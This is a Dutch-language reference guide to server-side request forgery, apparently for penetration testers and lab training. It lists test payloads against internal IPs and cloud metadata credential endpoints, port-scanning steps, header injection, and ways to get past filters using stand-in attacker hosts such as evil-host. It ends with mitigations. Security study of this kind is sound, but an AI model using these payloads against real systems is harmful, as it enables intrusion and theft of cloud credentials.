SSRF – Server-Side Request Forgery
Volledige Referentiegids
1. Wat is SSRF?
Server-Side Request Forgery is een kwetsbaarheid waarbij een aanvaller de server misleidt om HTTP-verzoeken te doen naar een doel dat de aanvaller zelf niet rechtstreeks kan bereiken.
Aanvaller → [Kwetsbare server] → Intern netwerk / cloud metadata / externe systemen
De kwetsbare server fungeert als onbedoelde proxy — zonder authenticatie, vanuit een vertrouwde positie in het netwerk.
SSRF staat in de OWASP Top 10 (A10:2021) — bijzonder impactvol in cloud-omgevingen.
2. Impact
Een succesvolle SSRF-aanval kan leiden tot:
- Ongeautoriseerde toegang tot interne systemen en data
- Toegang tot andere back-endsystemen waarmee de applicatie communiceert
- Willekeurige command execution (via kwetsbare interne diensten)
- Aanvallen op externe systemen die lijken te komen van de organisatie zelf
| Aanvalsvector | Voorbeeld |
|---|---|
| Intern netwerk verkennen | http://192.168.1.1/admin — interne routers/diensten bereiken |
| Cloud metadata stelen | http://169.254.169.254/latest/meta-data/ — AWS/GCP/Azure credentials |
| Back-endsystemen aanvallen | Databases, Elasticsearch, Redis zonder authenticatie |
| RCE via SSRF | Via kwetsbare interne dienst (bijv. Jenkins, Struts, Redis) |
| Pivot naar externe aanvallen | Aanval op derden lijkt van het slachtofferbedrijf te komen |
3. Herkennen — Waar zit SSRF-risico?
Zoek naar functionaliteit waar de server een URL of host ophaalt op basis van user input.
Duidelijke signalen
| Functie | Voorbeeld parameter |
|---|---|
| URL preview / link unfurl | ?url=https://example.com |
| Webhook configuratie | callback_url=http://... |
| PDF / screenshot generator | ?page=http://... |
| File import van externe bron | ?file=http://... |
| Server-side image resize | ?image=http://... |
| SSO / OAuth redirect | redirect_uri=http://... |
| XML/JSON met externe referentie | XXE-achtige constructies |
Minder voor de hand liggende vectoren
RefererheaderHostheader- JSON body velden:
"src","uri","endpoint","target","dest","path" - XML entiteiten (XXE → SSRF combinatie)
- GraphQL queries met externe URL-velden
4. Testen — Stap voor stap
Stap 1 — Baseline vaststellen (out-of-band)
Stuur een verzoek naar een server die jij controleert:
POST /product/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded
stockApi=http://jouw-id.oastify.com
Als je een DNS lookup of HTTP-verzoek ontvangt in Burp Collaborator → SSRF bevestigd.
Stap 2 — Interne hosts testen
stockApi=http://127.0.0.1/
stockApi=http://localhost/
stockApi=http://192.168.0.1/
stockApi=http://10.0.0.1/
stockApi=http://172.16.0.1/
Kijk naar verschil in response: - Andere HTTP-statuscode - Andere response-lengte - Foutmelding met interne informatie
Stap 3 — Admin interfaces opzoeken
http://127.0.0.1/admin
http://127.0.0.1:8080/admin
http://192.168.0.X:8080/admin ← IP-range sweep via Intruder
Stap 4 — Cloud metadata endpoints
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# GCP
http://metadata.google.internal/computeMetadata/v1/
Stap 5 — Poorten scannen via Intruder
Als je niet weet op welke poort een interne dienst draait:
stockApi=http://192.168.0.1:§8080§/
Payload type: Numbers → From: 1, To: 65535, Step: 1
(Of gebruik een top-poorten lijst voor snellere resultaten)
Detectie via response-verschil: - Poort open → response met inhoud of specifieke foutmelding - Poort gesloten → connection refused → andere foutcode of timeout
Veelgebruikte interne poorten
| Poort | Dienst |
|---|---|
8080 / 8443 |
Tomcat, Jenkins, interne webapps |
8888 |
Jupyter, diverse admin UIs |
9200 / 9300 |
Elasticsearch |
6379 |
Redis |
5432 |
PostgreSQL |
3306 |
MySQL |
27017 |
MongoDB |
4848 |
GlassFish admin |
8500 |
Consul |
2375 |
Docker API (onbeveiligd) |
10250 |
Kubernetes kubelet |
Stap 6 — Blind SSRF (geen output in response)
Geen zichtbaar resultaat? Test via out-of-band callbacks:
- Burp Collaborator — registreert DNS/HTTP callbacks (Pro)
- interactsh (
interact.sh) — open-source alternatief
stockApi=http://uniek-id.interact.sh/ssrf-test
Als de server het verzoek doet maar jij niks ziet in de response → Blind SSRF bevestigd.
Stap 7 — SSRF via headers
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Client-IP: 127.0.0.1
Referer: http://169.254.169.254/
Host: internal-service.local
Sommige applicaties vertrouwen deze headers en doen intern requests op basis ervan.
5. Filters omzeilen
5a. Blacklist-gebaseerde filters
Blocklist op 127.0.0.1 of localhost? Probeer:
# Decimal / octal encoding
http://2130706433/ ← 127.0.0.1 in decimal
http://0177.0.0.1/ ← octal
# IPv6
http://[::1]/
http://[::ffff:127.0.0.1]/
# Short notatie
http://127.1/
http://0/
# DNS rebinding
http://127.0.0.1.nip.io/
http://spoofed.domain → 127.0.0.1
# HTTPS in plaats van HTTP
https://127.0.0.1/
# URL encoding
http://127.0.0%2E1/
http://%6c%6f%63%61%6c%68%6f%73%74/ ← localhost encoded
5b. Whitelist-gebaseerde filters
De applicatie vereist dat de URL een bepaalde toegestane host bevat. Exploiteer inconsistenties in URL-parsing:
@ — credentials injecteren
https://expected-host:fakepassword@evil-host
De @ scheidt credentials van de hostname. De filter ziet expected-host maar het verzoek gaat naar evil-host.
Filter denkt : ✓ bevat "expected-host"
Request gaat : → evil-host
# — URL fragment misbruiken
https://evil-host#expected-host
Alles na # is een fragment — nooit naar de server gestuurd. Filter keurt het goed, maar de server spreekt alleen evil-host aan.
Filter denkt : ✓ eindigt op "expected-host"
Request gaat : → evil-host
Subdomain spoofing — DNS hiërarchie
https://expected-host.evil-host.com
De filter vindt expected-host terug in de URL. Maar jij controleert evil-host.com en bepaalt zelf de DNS-resolutie.
Filter denkt : ✓ begint met "expected-host"
DNS lost op : → jouw server
URL-encoding — parser verwarren
http://127.0.0%2E1/ ← punt encoded
http://%6c%6f%63%61%6c%68%6f%73%74/ ← localhost
Dubbele encoding voor servers die recursief decoderen:
. = %2E = %252E
De validatiecode en de HTTP-client decoderen soms anders → bypass.
Combinaties
https://expected-host@evil-host#.expected-host
https://expected-host%40evil-host
http://expected-host:80%40evil-host/
5c. Open Redirect chaining
Als een toegestaan domein een open redirect heeft, kun je SSRF-filters volledig omzeilen.
Open redirect op toegestaan domein:
https://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://evil-user.net
→ HTTP 302 Location: http://evil-user.net
SSRF exploit via open redirect:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
Hoe het werkt:
1. App valideert URL
→ "weliketoshop.net" staat op de whitelist ✓
2. App doet request naar weliketoshop.net/product/nextProduct?...
3. weliketoshop.net antwoordt:
HTTP 302 → Location: http://192.168.0.68/admin
4. HTTP-client volgt redirect automatisch
5. Request bereikt: http://192.168.0.68/admin ← SSRF geslaagd
De whitelist beschermt de input — niet wat er gebeurt na een redirect.
6. Wat te doen bij SSRF-bevestiging?
SSRF bevestigd
│
├─ Intern netwerk in kaart brengen (IP-ranges, poorten)
├─ /admin endpoints ophalen
├─ Cloud metadata → IAM credentials stelen
├─ Interne API's aanroepen zonder authenticatie
├─ Gevoelige configuratiebestanden lezen
└─ Pivot naar RCE (Jenkins, Struts, Redis EVAL, ...)
7. Automatische detectie — Burp Suite
| Feature | Community | Pro |
|---|---|---|
| Active scanner | ✗ | ✓ |
| Burp Collaborator | ✗ | ✓ |
| Blind SSRF detectie | ✗ | Gedeeltelijk ✓ |
Wat Burp WEL detecteert
- Basic SSRF via Collaborator-payloads in URL-parameters
- Out-of-band DNS/HTTP callbacks
- Sommige blind SSRF via active scan
Wat Burp NIET automatisch detecteert
| Blinde hoek | Reden |
|---|---|
| SSRF in onverwachte parameters | "endpoint", "target" worden niet als URL herkend |
| Header-gebaseerde SSRF | Referer, X-Forwarded-For niet altijd getest |
| Blocklist bypasses | Decimal encoding, IPv6, DNS rebinding niet automatisch |
| Chained SSRF via open redirect | Te complex voor automatische detectie |
| Geneste URL-velden in XML/JSON | Afhankelijk van body-parsing kwaliteit |
Conclusie:
Burp active scan = goede eerste zeef
Manueel testen = noodzakelijk voor volledige dekking
8. Tools
| Tool | Gebruik |
|---|---|
| Burp Suite Pro | Collaborator voor blind SSRF, Intruder voor IP/poort sweep |
| ffuf / wfuzz | Interne IP-ranges en poorten bruteforcen |
| interactsh | Open-source out-of-band callback server |
| nip.io / sslip.io | DNS-gebaseerde bypass helpers |
| Collaborator Everywhere | Burp extensie — injecteert Collaborator payloads in alle headers |
9. Mitigaties
- Allowlist van toegestane URLs/domeinen — nooit een blocklist als primaire verdediging
- Verzoeken nooit doen op basis van user input zonder strikte validatie
- Netwerksegmentatie — interne services onbereikbaar maken vanuit de appserver
- Cloud metadata endpoints blokkeren op infrastructuurniveau
- HTTP-redirects niet automatisch volgen in server-side HTTP-clients
- Response-inhoud filteren — interne IP-adressen of hostnames mogen niet lekken
- Firewall rules — appserver mag alleen whitelisted externe hosts bereiken